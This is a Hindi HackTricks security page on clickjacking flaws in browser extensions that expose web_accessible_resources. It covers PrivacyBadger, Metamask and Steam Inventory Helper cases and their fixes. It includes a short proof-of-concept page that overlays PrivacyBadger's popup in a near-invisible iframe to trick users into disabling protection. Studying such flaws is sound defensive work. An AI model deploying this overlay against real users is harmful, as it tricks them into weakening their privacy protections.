BrowExt - ClickJacking

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूलभूत जानकारी

इस पृष्ठ में एक ब्राउज़र एक्सटेंशन में ClickJacking वंलरेबिलिटी का दुरुपयोग किया जाएगा। अगर आप नहीं जानते कि ClickJacking क्या है तो देखें:

pageClickjacking

एक्सटेंशन में फ़ाइल manifest.json शामिल होती है और उस JSON फ़ाइल में एक फ़ील्ड web_accessible_resources होता है। यहां Chrome डॉक्स क्या कहते हैं:

इन संसाधनों को फिर एक वेबपेज में URL chrome-extension://[PACKAGE ID]/[PATH] के माध्यम से उपलब्ध किया जा सकता है, जो extension.getURL method के साथ उत्पन्न किया जा सकता है। अनुमति प्राप्त संसाधनों को उचित CORS हेडर्स के साथ सेवा किया जाता है, इसलिए वे XHR जैसे मेकेनिज़म के माध्यम से उपलब्ध होते हैं।1

ब्राउज़र एक्सटेंशन में web_accessible_resources केवल वेब के माध्यम से ही पहुंचने योग्य नहीं होते हैं; वे एक्सटेंशन की निजी विशेषताओं के साथ भी काम करते हैं। इसका मतलब है कि उन्हें निम्नलिखित क्षमताएँ होती हैं:

  • एक्सटेंशन की स्थिति बदलें

  • अतिरिक्त संसाधन लोड करें

  • ब्राउज़र के साथ एक सीमित स्तर तक बातचीत करें

हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। अगर web_accessible_resources में कोई महत्वपूर्ण कार्यक्षमता है, तो एक हमलावर इस संसाधन को एक बाह्य वेब पेज में समाहित कर सकता है। इस पृष्ठ को अनजान उपयोगकर्ता जो इस प्रासंगिक संसाधन को अनजाने में सक्रिय कर सकते हैं। इस प्रक्रिया के परिणामस्वरूप, एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करता है।

PrivacyBadger उदाहरण

एक्सटेंशन PrivacyBadger में, skin/ निर्देशिका को web_accessible_resources के रूप में घोषित किया गया था इस प्रकार (मूल ब्लॉग पोस्ट देखें):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

यह कॉन्फ़िगरेशन एक संभावित सुरक्षा समस्या की ओर ले गई। विशेष रूप से, skin/popup.html फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन के बाद प्रदर्शित होती है, एक iframe के भीतर समाहित किया जा सकता था। इस समाहित का उपयोग उपयोगकर्ताओं को धोखा देने के लिए किया जा सकता था ताकि वे "इस वेबसाइट के लिए PrivacyBadger को अक्षम करें" पर अनजाने में क्लिक करें। ऐसा करने से उपयोगकर्ता की गोपनीयता को खतरे में डाल दिया जा सकता था क्योंकि PrivacyBadger सुरक्षा को अक्षम कर देने से उपयोगकर्ता को अधिक ट्रैकिंग का सामना करना पड़ सकता था। इस एक्शन का उपयोग करके इस दोष को दूर करने के लिए एक सीधा समाधान लागू किया गया था: web_accessible_resources की सूची से /skin/* को हटाना। यह परिवर्तन खतरे को सफलतापूर्वक कम कर दिया गया था क्योंकि यह सुनिश्चित करता था कि skin/ निर्देशिका की सामग्री को वेब-सुलभ संसाधनों के माध्यम से उपयोग किया या परिवर्तित नहीं किया जा सकता था।

सुधार आसान था: web_accessible_resources से /skin/* हटाएं.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask उदाहरण

Metamask में ClickJacking के बारे में एक ब्लॉग पोस्ट यहाँ पाई जा सकती है. इस मामले में, Metamask ने यह सुरक्षा दोष ठीक कर दिया था जिसमें यह जांचा गया था कि उसे एक्सेस करने के लिए उपयोग किया गया प्रोटोकॉल https: या http: था (उदाहरण के लिए chrome: नहीं):

Metamask एक्सटेंशन में एक और ClickJacking दोष ठीक किया गया था जब पेज संदेहास्पद था कि यह फिशिंग हो सकता है क्योंकि “web_accessible_resources”: [“inpage.js”, “phishing.html”]. उस पेज पर Clickjacking के लिए वंशज इसका दुरुपयोग कर सकते थे जिससे कुछ सामान्य दिखाकर पीड़ित को इसे व्हाइटलिस्ट करने के लिए क्लिक करने में ध्यान नहीं जाता, और फिर फिशिंग पेज पर वापस जाते जो व्हाइटलिस्ट हो जाएगा।

Steam Inventory Helper उदाहरण

एक XSS कैसे एक ब्राउज़र एक्सटेंशन में ClickJacking दोष के साथ जोड़ा गया था, इसे जांचने के लिए निम्नलिखित पेज की जाँच करें:

pageBrowExt - XSS Example

संदर्भ

Last updated